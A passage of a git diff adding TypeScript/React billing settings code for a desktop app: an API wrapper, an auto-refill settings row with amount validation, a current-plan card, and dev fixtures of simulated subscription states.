+  chargeStatus: (chargeId: string) => Promise<BillingResult<BillingChargeStatusResponse>>
+  fetchBillingState: () => Promise<BillingResult<BillingStateResponse>>
+  fetchSubscriptionState: () => Promise<BillingResult<SubscriptionStateResponse>>
+  /** Chargeless quote for a plan change (POST /subscription/preview). */
+  previewSubscriptionChange: (tierId: string) => Promise<BillingResult<SubscriptionPreviewResponse>>
+  /** Clear a scheduled downgrade / cancellation — the undo (DELETE pending-change). */
+  resumeSubscription: () => Promise<BillingResult<BillingMutationResponse>>
+  /** Schedule a chargeless downgrade at period end (PUT pending-change). */
+  scheduleSubscriptionChange: (tierId: string) => Promise<BillingResult<BillingMutationResponse>>
+  stepUp: (sessionId?: string) => Promise<BillingResult<BillingMutationResponse>>
+  updateAutoReload: (input: UpdateAutoReloadInput) => Promise<BillingResult<BillingMutationResponse>>
+}
+
+interface RefusalRecord {
+  actor?: unknown
+  code?: unknown
+  error?: unknown
+  kind?: unknown
+  message?: unknown
+  payload?: unknown
+  portal_url?: unknown
+  recovery?: unknown
+  retry_after?: unknown
+}
+
+const isRecord = (value: unknown): value is Record<string, unknown> => typeof value === 'object' && value !== null
+
+const asOptionalString = (value: unknown): string | undefined =>
+  typeof value === 'string' && value.length > 0 ? value : undefined
+
+const asOptionalNumber = (value: unknown): number | undefined => (typeof value === 'number' ? value : undefined)
+
+const asPayload = (value: unknown): BillingErrorPayload | undefined =>
+  isRecord(value) ? (value as BillingErrorPayload) : undefined
+
+const getMessage = (value: unknown): string => {
+  if (value instanceof Error && value.message) {
+    return value.message
+  }
+
+  if (typeof value === 'string' && value.length > 0) {
+    return value
+  }
+
+  return String(value || 'Billing request failed.')
+}
+
+const normalizeRefusal = (raw: Record<string, unknown>): BillingRefusal => {
+  const rawError = raw.error
+  const error = isRecord(rawError) ? (rawError as RefusalRecord) : undefined
+  const kind = asOptionalString(error?.kind) ?? asOptionalString(error?.error) ?? asOptionalString(rawError) ?? 'error'
+  const message = asOptionalString(error?.message) ?? asOptionalString(raw.message) ?? kind
+
+  return {
+    actor: asOptionalString(error?.actor) ?? asOptionalString(raw.actor),
+    code: asOptionalString(error?.code) ?? asOptionalString(raw.code),
+    kind,
+    message,
+    payload: asPayload(error?.payload) ?? asPayload(raw.payload),
+    portalUrl: asOptionalString(error?.portal_url) ?? asOptionalString(raw.portal_url),
+    raw,
+    recovery: asOptionalString(error?.recovery) ?? asOptionalString(raw.recovery),
+    retryAfter: asOptionalNumber(error?.retry_after) ?? asOptionalNumber(raw.retry_after)
+  }
+}
+
+const normalizeThrown = (error: unknown): BillingRefusal => {
+  const message = getMessage(error)
+  const name = error instanceof Error ? error.name : ''
+
+  return {
+    kind: name === 'TimeoutError' || /timed?\s*out|timeout/i.test(message) ? 'timeout' : 'transport',
+    message,
+    raw: error
+  }
+}
+
+const normalizeRpcResult = <T>(response: T): BillingResult<T> => {
+  if (isRecord(response) && response.ok === false) {
+    return { ok: false, refusal: normalizeRefusal(response) }
+  }
+
+  return { data: response, ok: true }
+}
+
+const callBilling = async <T>(
+  requestGateway: BillingRequestGateway,
+  method: string,
+  params: Record<string, unknown> = {}
+): Promise<BillingResult<T>> => {
+  try {
+    return normalizeRpcResult(await requestGateway<T>(method, params))
+  } catch (error) {
+    return { ok: false, refusal: normalizeThrown(error) }
+  }
+}
+
+export const createBillingApi = (requestGateway: BillingRequestGateway): BillingApi => ({
+  charge: async (amountUsd, idempotencyKey = crypto.randomUUID()) => {
+    const result = await callBilling<BillingChargeResponse>(requestGateway, 'billing.charge', {
+      amount_usd: amountUsd,
+      idempotency_key: idempotencyKey
+    })
+
+    return { ...result, idempotencyKey }
+  },
+  chargeStatus: chargeId =>
+    callBilling<BillingChargeStatusResponse>(requestGateway, 'billing.charge_status', { charge_id: chargeId }),
+  fetchBillingState: () => callBilling<BillingStateResponse>(requestGateway, 'billing.state'),
+  fetchSubscriptionState: () => callBilling<SubscriptionStateResponse>(requestGateway, 'subscription.state'),
+  previewSubscriptionChange: tierId =>
+    callBilling<SubscriptionPreviewResponse>(requestGateway, 'subscription.preview', {
+      subscription_type_id: tierId
+    }),
+  resumeSubscription: () => callBilling<BillingMutationResponse>(requestGateway, 'subscription.resume', {}),
+  scheduleSubscriptionChange: tierId =>
+    callBilling<BillingMutationResponse>(requestGateway, 'subscription.change', {
+      subscription_type_id: tierId
+    }),
+  stepUp: sessionId =>
+    callBilling<BillingMutationResponse>(requestGateway, 'billing.step_up', {
+      ...(sessionId !== undefined ? { session_id: sessionId } : {})
+    }),
+  updateAutoReload: input =>
+    callBilling<BillingMutationResponse>(requestGateway, 'billing.auto_reload', {
+      enabled: input.enabled,
+      ...(input.threshold_usd !== undefined ? { threshold: input.threshold_usd } : {}),
+      ...(input.reload_to_usd !== undefined ? { top_up_amount: input.reload_to_usd } : {})
+    })
+})
+
+// An override for the gateway-backed api — DEV fixtures provide a simulated
+// implementation here so every consumer (hooks, rows) transparently runs against it
+// with no fixture awareness of their own. `null` (the default) = the real gateway api.
+const BillingApiContext = createContext<BillingApi | null>(null)
+
+export const BillingApiProvider = BillingApiContext.Provider
+
+export function useBillingApi(): BillingApi {
+  const override = useContext(BillingApiContext)
+  const { requestGateway } = useGatewayRequest()
+  const real = useMemo(() => createBillingApi(requestGateway), [requestGateway])
+
+  return override ?? real
+}
diff --git a/ui-desktop/src/app/settings/billing/auto-reload-row.tsx b/ui-desktop/src/app/settings/billing/auto-reload-row.tsx
new file mode 100644
index 000000000..876e82b89
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/auto-reload-row.tsx
@@ -0,0 +1,293 @@
+import { useQueryClient } from '@tanstack/react-query'
+import { useState } from 'react'
+
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { cn } from '@/lib/utils'
+
+import { ListRow, Pill } from '../primitives'
+
+import { RowValue } from './account-row-value'
+import type { BillingRefusal } from './api'
+import { useBillingApi } from './api'
+import { initialAutoReloadAmount, validateAutoReloadInputs } from './billing-amounts'
+import { BillingRefusalInline } from './inline-feedback'
+import type { BillingAutoReload, BillingStateResponse } from './types'
+import type { BillingAccountRowView } from './use-billing-state'
+
+export function AutoReloadRow({
+  autoReload,
+  bounds,
+  row
+}: {
+  autoReload: BillingAutoReload
+  bounds: Pick<BillingStateResponse, 'max_usd' | 'min_usd'>
+  row: BillingAccountRowView
+}) {
+  const api = useBillingApi()
+  const queryClient = useQueryClient()
+  const [confirmDisable, setConfirmDisable] = useState(false)
+  const [editing, setEditing] = useState(false)
+  // Validation errors are silent until the user edits a field or attempts a
+  // save — opening Manage on a prefilled (possibly below-min) config must not
+  // flash an error (spec §9).
+  const [showErrors, setShowErrors] = useState(false)
+  const [message, setMessage] = useState<null | { kind: 'error' | 'success'; text: string }>(null)
+  const [refusal, setRefusal] = useState<BillingRefusal | null>(null)
+
+  const [reloadTo, setReloadTo] = useState(
+    initialAutoReloadAmount(autoReload.reload_to_usd, autoReload.reload_to_display)
+  )
+
+  const [saving, setSaving] = useState(false)
+
+  const [threshold, setThreshold] = useState(
+    initialAutoReloadAmount(autoReload.threshold_usd, autoReload.threshold_display)
+  )
+
+  const validation = validateAutoReloadInputs(threshold, reloadTo, bounds)
+  const busy = saving
+  const maxBound = bounds.max_usd ?? undefined
+  const minBound = bounds.min_usd ?? undefined
+
+  // Only the canonical-card enabled state edits in place (flagged in the view model).
+  // Off / divergent-card rows have no Manage affordance (or a portal link) and render
+  // read-only.
+  const editable = row.manageInApp === true
+
+  const resetFeedback = () => {
+    setConfirmDisable(false)
+    setMessage(null)
+    setRefusal(null)
+  }
+
+  const openEdit = () => {
+    resetFeedback()
+    setShowErrors(false)
+    setEditing(true)
+  }
+
+  const cancelEdit = () => {
+    resetFeedback()
+    setEditing(false)
+  }
+
+  const save = async () => {
+    if (!validation.values || busy) {
+      return
+    }
+
+    resetFeedback()
+    setSaving(true)
+
+    const result = await api.updateAutoReload({
+      enabled: true,
+      reload_to_usd: validation.values.reloadTo,
+      threshold_usd: validation.values.threshold
+    })
+
+    setSaving(false)
+
+    if (!result.ok) {
+      setRefusal(result.refusal)
+
+      return
+    }
+
+    await queryClient.invalidateQueries({ queryKey: ['billing', 'state'] })
+    setMessage({ kind: 'success', text: 'Auto-refill updated.' })
+    setEditing(false)
+  }
+
+  const disable = async () => {
+    if (busy) {
+      return
+    }
+
+    resetFeedback()
+    setSaving(true)
+
+    // The gateway's billing.auto_reload handler unconditionally requires threshold
+    // + top_up_amount (invalid_request otherwise), so a disable must still carry the
+    // current amounts — mirroring the TUI, which always sends both.
+    const result = await api.updateAutoReload({
+      enabled: false,
+      reload_to_usd: initialAutoReloadAmount(autoReload.reload_to_usd, autoReload.reload_to_display),
+      threshold_usd: initialAutoReloadAmount(autoReload.threshold_usd, autoReload.threshold_display)
+    })
+
+    setSaving(false)
+
+    if (!result.ok) {
+      setRefusal(result.refusal)
+
+      return
+    }
+
+    await queryClient.invalidateQueries({ queryKey: ['billing', 'state'] })
+    setMessage({ kind: 'success', text: 'Auto-refill turned off.' })
+    setEditing(false)
+  }
+
+  // Read-only states (off / divergent card) keep the original ListRow shape.
+  if (!editable) {
+    return (
+      <ListRow
+        action={<RowValue row={row} />}
+        below={
+          <>
+            {row.caption ? (
+              <div className="mt-1 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+                {row.caption}
+              </div>
+            ) : null}
+            <BillingRefusalInline refusal={refusal} />
+            {message && <InlineMessage kind={message.kind}>{message.text}</InlineMessage>}
+          </>
+        }
+        description={row.description}
+        key={row.id}
+        title={row.title}
+      />
+    )
+  }
+
+  const onField = (setter: (value: string) => void) => (event: { target: { value: string } }) => {
+    resetFeedback()
+    setShowErrors(true)
+    setter(event.target.value)
+  }
+
+  // Zero-shift by exact reservation, not a magic min-height: the edit form is
+  // ALWAYS rendered and both states share a single grid cell (`[grid-area:stack]`),
+  // so the row's height always equals the tallest state at EVERY container width —
+  // no breakpoint math that under-reserves when the two inputs stack on narrow
+  // panes. The form is `invisible` + `aria-hidden` when not editing.
+  return (
+    <div className="@container">
+      <div className="grid gap-3 py-3 @2xl:grid-cols-[minmax(0,1fr)_minmax(15rem,22rem)] @2xl:items-start">
+        <div className="min-w-0">
+          <div className="text-[length:var(--conversation-text-font-size)] font-medium text-foreground">
+            {row.title}
+          </div>
+          <div className="mt-1 text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)">
+            {row.description}
+          </div>
+          <div className="mt-3 grid [grid-template-areas:'stack']">
+            {/* EDIT layer — always in layout (reserves exact height); hidden until editing. */}
+            <div aria-hidden={!editing} className={cn('space-y-2 [grid-area:stack]', !editing && 'invisible')}>
+              <div className="grid gap-2 @2xl:grid-cols-2">
+                <label className="min-w-0 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+                  Threshold
+                  <Input
+                    aria-label="Auto-refill threshold"
+                    className="mt-1 py-[3px]"
+                    disabled={busy || !editing}
+                    inputMode="decimal"
+                    max={maxBound}
+                    min={minBound}
+                    onChange={onField(setThreshold)}
+                    size="sm"
+                    step="0.01"
+                    tabIndex={editing ? undefined : -1}
+                    type="number"
+                    value={threshold}
+                  />
+                </label>
+                <label className="min-w-0 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+                  Reload to
+                  <Input
+                    aria-label="Auto-refill reload-to amount"
+                    className="mt-1 py-[3px]"
+                    disabled={busy || !editing}
+                    inputMode="decimal"
+                    max={maxBound}
+                    min={minBound}
+                    onChange={onField(setReloadTo)}
+                    size="sm"
+                    step="0.01"
+                    tabIndex={editing ? undefined : -1}
+                    type="number"
+                    value={reloadTo}
+                  />
+                </label>
+              </div>
+              {/* Pre-allocated error line — occupies height whether or not shown. */}
+              <div className="min-h-4 text-[length:var(--conversation-caption-font-size)] text-destructive">
+                {showErrors && validation.error ? validation.error : ''}
+              </div>
+              {confirmDisable ? (
+                <div className="flex min-w-0 flex-wrap items-center gap-2 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+                  <span>Turn off auto-refill?</span>
+                  <Button disabled={busy} onClick={() => void disable()} size="sm" type="button" variant="outline">
+                    Turn off
+                  </Button>
+                  <Button
+                    disabled={busy}
+                    onClick={() => setConfirmDisable(false)}
+                    size="sm"
+                    type="button"
+                    variant="ghost"
+                  >
+                    Cancel
+                  </Button>
+                </div>
+              ) : (
+                <Button
+                  disabled={busy}
+                  onClick={() => setConfirmDisable(true)}
+                  size="sm"
+                  tabIndex={editing ? undefined : -1}
+                  type="button"
+                  variant="outline"
+                >
+                  Disable
+                </Button>
+              )}
+              {/* Refusal stays INSIDE the reserved layer so it never pushes Usage. */}
+              <BillingRefusalInline refusal={refusal} />
+            </div>
+            {/* VIEW layer — success feedback overlaid in the same cell when not editing. */}
+            {!editing && message && (
+              <div className="[grid-area:stack]">
+                <InlineMessage kind={message.kind}>{message.text}</InlineMessage>
+              </div>
+            )}
+          </div>
+        </div>
+        {/* Action column swaps Manage ↔ Save/Cancel in place (top-aligned, no move). */}
+        <div className="flex min-w-0 flex-wrap items-center justify-start gap-2 @2xl:justify-end">
+          {row.pill && <Pill tone={row.pill.tone}>{row.pill.label}</Pill>}
+          {editing ? (
+            <>
+              <Button disabled={busy || !validation.values} onClick={() => void save()} size="sm" type="button">
+                {busy ? 'Saving…' : 'Save'}
+              </Button>
+              <Button disabled={busy} onClick={cancelEdit} size="sm" type="button" variant="outline">
+                Cancel
+              </Button>
+            </>
+          ) : (
+            <Button onClick={openEdit} size="sm" type="button" variant="outline">
+              Manage
+            </Button>
+          )}
+        </div>
+      </div>
+    </div>
+  )
+}
+
+// A one-line success/error note under the row — the only consumer of this shape.
+function InlineMessage({ children, kind }: { children: string; kind: 'error' | 'success' }) {
+  return (
+    <div
+      className={cn(
+        'mt-2 text-[length:var(--conversation-caption-font-size)]',
+        kind === 'error' ? 'text-destructive' : 'text-(--ui-text-tertiary)'
+      )}
+    >
+      {children}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/settings/billing/billing-amounts.ts b/ui-desktop/src/app/settings/billing/billing-amounts.ts
new file mode 100644
index 000000000..0b0e5517b
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/billing-amounts.ts
@@ -0,0 +1,123 @@
+import type { BillingStateResponse } from './types'
+import { EMPTY_BILLING_VALUE } from './use-billing-state'
+
+export function clampAmount(raw: string, billing: Pick<BillingStateResponse, 'max_usd' | 'min_usd'>): string {
+  const amount = parseAmount(raw)
+
+  if (amount == null) {
+    return ''
+  }
+
+  const min = parseAmount(billing.min_usd)
+  const max = parseAmount(billing.max_usd)
+  const clampedMin = min == null ? amount : Math.max(min, amount)
+  const clamped = max == null ? clampedMin : Math.min(max, clampedMin)
+
+  return formatAmountForRequest(clamped)
+}
+
+export function parseAmount(value?: null | number | string): null | number {
+  if (typeof value === 'number') {
+    return Number.isFinite(value) ? value : null
+  }
+
+  if (typeof value !== 'string') {
+    return null
+  }
+
+  const parsed = Number(value.replace(/[$,\s]/g, ''))
+
+  return Number.isFinite(parsed) && parsed > 0 ? parsed : null
+}
+
+export function formatAmountForRequest(value: number): string {
+  return Number.isInteger(value) ? String(value) : value.toFixed(2).replace(/0+$/, '').replace(/\.$/, '')
+}
+
+export function initialAutoReloadAmount(...candidates: Array<null | string | undefined>): string {
+  for (const candidate of candidates) {
+    const amount = parseAmount(candidate)
+
+    if (amount != null) {
+      return formatAmountForRequest(amount)
+    }
+  }
+
+  return ''
+}
+
+export function validateAutoReloadInputs(
+  thresholdRaw: string,
+  reloadToRaw: string,
+  bounds: Pick<BillingStateResponse, 'max_usd' | 'min_usd'>
+): { error?: string; values?: { reloadTo: string; threshold: string } } {
+  const threshold = validateBillingAmount('Threshold', thresholdRaw, bounds)
+
+  if (threshold.error || threshold.amount == null) {
+    return { error: threshold.error }
+  }
+
+  const reloadTo = validateBillingAmount('Reload-to', reloadToRaw, bounds)
+
+  if (reloadTo.error || reloadTo.amount == null) {
+    return { error: reloadTo.error }
+  }
+
+  if (reloadTo.amount <= threshold.amount) {
+    return { error: 'Reload-to amount must be greater than the threshold.' }
+  }
+
+  return {
+    values: {
+      reloadTo: formatAmountForRequest(reloadTo.amount),
+      threshold: formatAmountForRequest(threshold.amount)
+    }
+  }
+}
+
+export function validateBillingAmount(
+  label: string,
+  raw: string,
+  bounds: Pick<BillingStateResponse, 'max_usd' | 'min_usd'>
+): { amount?: number; error?: string } {
+  const cleaned = raw.trim().replace(/^\$/, '').trim()
+
+  if (!cleaned || !/^\d+(\.\d{1,2})?$/.test(cleaned)) {
+    return { error: `${label}: enter a dollar amount with at most 2 decimal places.` }
+  }
+
+  const amount = Number(cleaned)
+
+  if (!(amount > 0)) {
+    return { error: `${label}: amount must be greater than $0.` }
+  }
+
+  const min = parseAmount(bounds.min_usd)
+
+  if (min != null && amount < min) {
+    return { error: `${label}: minimum is ${formatMoney(min)}.` }
+  }
+
+  const max = parseAmount(bounds.max_usd)
+
+  if (max != null && amount > max) {
+    return { error: `${label}: maximum is ${formatMoney(max)}.` }
+  }
+
+  return { amount }
+}
+
+export function formatMoney(value?: null | number | string): string {
+  const amount = parseAmount(value)
+
+  if (amount == null) {
+    return EMPTY_BILLING_VALUE
+  }
+
+  return new Intl.NumberFormat(undefined, {
+    currency: 'USD',
+    maximumFractionDigits: amount % 1 === 0 ? 0 : 2,
+    minimumFractionDigits: amount % 1 === 0 ? 0 : 2,
+    style: 'currency'
+  }).format(amount)
+}
diff --git a/ui-desktop/src/app/settings/billing/current-plan-card.tsx b/ui-desktop/src/app/settings/billing/current-plan-card.tsx
new file mode 100644
index 000000000..c9118e574
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/current-plan-card.tsx
@@ -0,0 +1,57 @@
+import { Button } from '@/components/ui/button'
+import { ExternalLink } from '@/lib/icons'
+
+import { BillingRefusalInline } from './inline-feedback'
+import { openExternal } from './open-external'
+import { TierArt } from './tier-art'
+import type { BillingPlanCardView } from './use-billing-state'
+import { useResumeFlow } from './use-subscription-change'
+
+export function CurrentPlanCard({ onViewPlans, plan }: { onViewPlans: () => void; plan: BillingPlanCardView }) {
+  const resumeFlow = useResumeFlow()
+
+  return (
+    <div className="@container">
+      <div className="grid gap-3 py-3 @2xl:grid-cols-[minmax(0,1fr)_minmax(15rem,22rem)] @2xl:items-center">
+        <div className="flex min-w-0 items-center gap-3">
+          <TierArt name={plan.tierName} />
+          <div className="min-w-0">
+            <div className="flex min-w-0 flex-wrap items-baseline gap-x-2">
+              <span className="truncate text-[length:var(--conversation-text-font-size)] font-medium text-foreground">
+                {plan.tierName}
+              </span>
+              {plan.price && (
+                <span className="text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+                  {plan.price}/mo
+                </span>
+              )}
+            </div>
+            <div className="mt-1 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+              {plan.caption}
+            </div>
+          </div>
+        </div>
+        <div className="flex min-w-0 flex-wrap items-center justify-start gap-2 @2xl:justify-end">
+          {plan.action && (
+            <Button onClick={onViewPlans} size="sm" type="button" variant="outline">
+              {plan.action.label}
+            </Button>
+          )}
+          {/* Scheduled downgrade → chargeless undo (subscription.resume), no confirm. */}
+          {plan.pending && (
+            <Button disabled={resumeFlow.busy} onClick={() => void resumeFlow.resume()} size="sm" type="button">
+              {resumeFlow.busy ? 'Undoing…' : 'Undo'}
+            </Button>
+          )}
+          {plan.link && (
+            <Button onClick={() => plan.link && openExternal(plan.link.url)} size="sm" type="button" variant="outline">
+              {plan.link.label}
+              <ExternalLink className="size-3.5" />
+            </Button>
+          )}
+        </div>
+      </div>
+      <BillingRefusalInline refusal={resumeFlow.refusal} />
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/settings/billing/dev-fixtures.ts b/ui-desktop/src/app/settings/billing/dev-fixtures.ts
new file mode 100644
index 000000000..baf88ae33
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/dev-fixtures.ts
@@ -0,0 +1,469 @@
+import type { BillingResult } from './api'
+import type { BillingStateResponse, SubscriptionStateResponse, SubscriptionTierOption } from './types'
+
+const current = (
+  overrides: Partial<NonNullable<SubscriptionStateResponse['current']>> = {}
+): NonNullable<SubscriptionStateResponse['current']> => ({
+  cancel_at_period_end: false,
+  cancellation_effective_at: null,
+  cancellation_effective_display: null,
+  credits_remaining: '120',
+  cycle_ends_at: '2026-07-11T08:14:55.000Z',
+  monthly_credits: '220',
+  pending_downgrade_at: null,
+  pending_downgrade_display: null,
+  pending_downgrade_tier_name: null,
+  tier_id: 'ultra',
+  tier_name: 'Ultra',
+  ...overrides
+})
+
+export const todayBillingState = {
+  auto_reload: {
+    card: { kind: 'canonical' },
+    enabled: true,
+    reload_to_display: '$10',
+    reload_to_usd: '10',
+    threshold_display: '$5',
+    threshold_usd: '5'
+  },
+  balance_display: '$996.47',
+  balance_usd: '996.47',
+  can_charge: false,
+  card: {
+    brand: 'visa',
+    last4: '3206',
+    masked: 'visa ....3206'
+  },
+  charge_presets: ['100', '250', '500'],
+  charge_presets_display: ['$100', '$250', '$500'],
+  cli_billing_enabled: false,
+  is_admin: true,
+  logged_in: true,
+  max_usd: '1000',
+  min_usd: '10',
+  monthly_cap: {
+    is_default_ceiling: true,
+    limit_display: '$100',
+    limit_usd: '100',
+    spent_display: '$10',
+    spent_this_month_usd: '10'
+  },
+  ok: true,
+  org_name: 'sid-5',
+  portal_url: 'https://portal.invalid/billing',
+  role: 'OWNER',
+  usage: {
+    available: true,
+    has_topup: true,
+    plan_name: 'Ultra',
+    renews_at: '2026-07-11T08:14:55.000Z',
+    renews_display: 'Jul 11',
+    status: 'active',
+    subscription_remaining_display: '$120',
+    topup_remaining_display: '$876.47',
+    total_spendable_display: '$996.47'
+  }
+} satisfies BillingStateResponse
+
+export const todaySubscriptionState = {
+  can_change_plan: true,
+  context: 'team',
+  current: current(),
+  is_admin: true,
+  logged_in: true,
+  ok: true,
+  org_id: 'sid-5',
+  org_name: 'sid-5',
+  portal_url: 'https://portal.invalid/billing',
+  role: 'OWNER',
+  tiers: [
+    {
+      dollars_per_month_display: '$200',
+      is_current: true,
+      is_enabled: true,
+      monthly_credits: '220',
+      name: 'Ultra',
+      tier_id: 'ultra',
+      tier_order: 3
+    }
+  ],
+  usage: todayBillingState.usage
+} satisfies SubscriptionStateResponse
+
+export const postTrainBillingState = {
+  ...todayBillingState,
+  auto_reload: {
+    card: { kind: 'canonical' },
+    enabled: false,
+    reload_to_display: '$100',
+    reload_to_usd: '100',
+    threshold_display: '$25',
+    threshold_usd: '25'
+  },
+  balance_display: '$142.50',
+  balance_usd: '142.50',
+  can_charge: true,
+  card: {
+    brand: 'visa',
+    display: 'Visa ....4242 - the card on your subscription',
+    last4: '4242',
+    masked: 'visa ....4242',
+    resolved_via: 'subPin'
+  },
+  charge_presets: ['25', '50', '100'],
+  charge_presets_display: ['$25', '$50', '$100'],
+  cli_billing_enabled: true,
+  monthly_cap: {
+    is_default_ceiling: false,
+    limit_display: '$1,000',
+    limit_usd: '1000',
+    spent_display: '$180',
+    spent_this_month_usd: '180'
+  },
+  org_name: 'Acme Research',
+  usage: {
+    available: true,
+    has_topup: true,
+    plan_bar: {
+      fill_fraction: 0.4,
+      kind: 'plan',
+      pct_used: 60,
+      remaining_display: '$40',
+      spent_display: '$60',
+      total_display: '$100'
+    },
+    plan_name: 'Pro',
+    renews_at: '2026-07-31T00:00:00Z',
+    renews_display: 'Jul 31',
+    status: 'active',
+    subscription_remaining_display: '$40',
+    topup_bar: {
+      fill_fraction: 0.75,
+      kind: 'topup',
+      pct_used: 25,
+      remaining_display: '$75',
+      spent_display: '$25',
+      total_display: '$100'
+    },
+    topup_remaining_display: '$75',
+    total_spendable_display: '$115'
+  }
+} satisfies BillingStateResponse
+
+export const postTrainSubscriptionState = {
+  ...todaySubscriptionState,
+  current: current({
+    credits_remaining: '40',
+    cycle_ends_at: '2026-07-31T00:00:00Z',
+    monthly_credits: '100',
+    tier_id: 'pro',
+    tier_name: 'Pro'
+  }),
+  org_id: 'org_123',
+  org_name: 'Acme Research',
+  tiers: [
+    {
+      dollars_per_month_display: '$20',
+      is_current: true,
+      is_enabled: true,
+      monthly_credits: '100',
+      name: 'Pro',
+      tier_id: 'pro',
+      tier_order: 2
+    }
+  ],
+  usage: postTrainBillingState.usage
+} satisfies SubscriptionStateResponse
+
+export const loggedOutBillingState = {
+  ...todayBillingState,
+  auto_reload: null,
+  balance_display: '$0.00',
+  balance_usd: null,
+  can_charge: false,
+  card: null,
+  charge_presets: [],
+  charge_presets_display: [],
+  logged_in: false,
+  monthly_cap: null,
+  org_name: null,
+  portal_url: 'https://portal.invalid/login',
+  role: null,
+  usage: undefined
+} satisfies BillingStateResponse
+
+export const loggedOutSubscriptionState = {
+  ...todaySubscriptionState,
+  can_change_plan: false,
+  current: null,
+  is_admin: false,
+  logged_in: false,
+  org_id: null,
+  org_name: null,
+  portal_url: 'https://portal.invalid/login',
+  role: null,
+  tiers: [],
+  usage: undefined
+} satisfies SubscriptionStateResponse
+
+// Full four-tier personal catalog. tier_ids are cuid-like (Prisma) on purpose:
+// tier art keys off the lowercase NAME, never the id (ids differ per env). Dollar
+// credits are 0.1 / 22 / 110 / 220 to exercise the "$X credits/mo" formatting.
+const personalTierCatalog: SubscriptionTierOption[] = [
+  {
+    dollars_per_month_display: '$0',
+    is_current: false,
+    is_enabled: true,
+    monthly_credits: '0.1',
+    name: 'Free',
+    tier_id: 'cltier000free0000personal',
+    tier_order: 0
+  },
+  {
+    dollars_per_month_display: '$20',
+    is_current: false,
+    is_enabled: true,
+    monthly_credits: '22',
+    name: 'Plus',
+    tier_id: 'cltier111plus1111personal',
+    tier_order: 1
+  },
+  {
+    dollars_per_month_display: '$100',
+    is_current: false,
+    is_enabled: true,
+    monthly_credits: '110',
+    name: 'Super',
+    tier_id: 'cltier222super222personal',
+    tier_order: 2
+  },
+  {
+    dollars_per_month_display: '$200',
+    is_current: false,
+    is_enabled: true,
+    monthly_credits: '220',
+    name: 'Ultra',
+    tier_id: 'cltier333ultra333personal',
+    tier_order: 3
+  }
+]
+
+const catalogWithCurrent = (currentTierId: null | string): SubscriptionTierOption[] =>
+  personalTierCatalog.map(tier => ({ ...tier, is_current: tier.tier_id === currentTierId }))
+
+// Logged-in personal org, no subscription: exercises the "View plans" plan card
+// and the full plans grid where every tier is an upgrade.
+export const freePersonalBillingState = {
+  ...postTrainBillingState,
+  balance_display: '$12.00',
+  balance_usd: '12.00',
+  org_name: 'Personal',
+  usage: {
+    available: true,
+    has_topup: true,
+    plan_name: 'Free',
+    renews_at: null,
+    renews_display: null,
+    status: 'active',
+    subscription_remaining_display: '$0',
+    topup_remaining_display: '$12.00',
+    total_spendable_display: '$12.00'
+  }
+} satisfies BillingStateResponse
+
+export const freePersonalSubscriptionState = {
+  ...todaySubscriptionState,
+  can_change_plan: true,
+  context: 'personal',
+  current: null,
+  org_id: 'org_personal_free',
+  org_name: 'Personal',
+  tiers: catalogWithCurrent(null),
+  usage: freePersonalBillingState.usage
+} satisfies SubscriptionStateResponse
+
+// Personal subscriber on Plus: exercises the "Change plan" plan card, the current
+// marker, upgrades (Super/Ultra), and the disabled downgrade (Free).
+export const subscriberPersonalBillingState = {
+  ...postTrainBillingState,
+  org_name: 'Personal',
+  usage: {
+    ...postTrainBillingState.usage,
+    plan_name: 'Plus'
+  }
+} satisfies BillingStateResponse
+
+export const subscriberPersonalSubscriptionState = {
+  ...todaySubscriptionState,
+  can_change_plan: true,
+  context: 'personal',
+  current: current({
+    credits_remaining: '12',
+    cycle_ends_at: '2026-08-15T00:00:00Z',
+    monthly_credits: '22',
+    tier_id: 'cltier111plus1111personal',
+    tier_name: 'Plus'
+  }),
+  org_id: 'org_personal_plus',
+  org_name: 'Personal',
+  tiers: catalogWithCurrent('cltier111plus1111personal'),
+  usage: subscriberPersonalBillingState.usage
+} satisfies SubscriptionStateResponse
+
+// Personal subscriber on Plus with a downgrade to Free already scheduled at period
+// end: exercises the plan-card pending state + undo, and the grid's "Scheduled"
+// marker on Free while Super/Ultra stay choosable.
+export const pendingDowngradeSubscriptionState = {
+  ...subscriberPersonalSubscriptionState,
+  current: current({
+    credits_remaining: '12',
+    cycle_ends_at: '2026-08-15T00:00:00Z',
+    monthly_credits: '22',
+    pending_downgrade_at: '2026-08-15T00:00:00Z',
+    pending_downgrade_display: 'Aug 15',
+    pending_downgrade_tier_name: 'Free',
+    tier_id: 'cltier111plus1111personal',
+    tier_name: 'Plus'
+  })
+} satisfies SubscriptionStateResponse
+
+// Personal subscriber on Plus with a cancellation (not a downgrade) scheduled at
+// period end: exercises the plan-card "Cancels on …" copy + undo, with NO Scheduled
+// grid marker (a cancellation has no target tier).
+export const pendingCancellationSubscriptionState = {
+  ...subscriberPersonalSubscriptionState,
+  current: current({
+    cancel_at_period_end: true,
+    cancellation_effective_at: '2026-08-15T00:00:00Z',
+    cancellation_effective_display: 'Aug 15',
+    credits_remaining: '12',
+    cycle_ends_at: '2026-08-15T00:00:00Z',
+    monthly_credits: '22',
+    tier_id: 'cltier111plus1111personal',
+    tier_name: 'Plus'
+  })
+} satisfies SubscriptionStateResponse
+
+const okBilling = (data: BillingStateResponse): BillingResult<BillingStateResponse> => ({ data, ok: true })
+
+const okSubscription = (data: SubscriptionStateResponse): BillingResult<SubscriptionStateResponse> => ({
+  data,
+  ok: true
+})
+
+function withUsage(
+  name: string,
+  {
+    autoReload = postTrainBillingState.auto_reload,
+    canCharge = true,
+    card = postTrainBillingState.card,
+    cliBillingEnabled = true,
+    monthlyCapSpent = '89',
+    remaining,
+    subscriptionCurrent = current({ credits_remaining: remaining, monthly_credits: '220' })
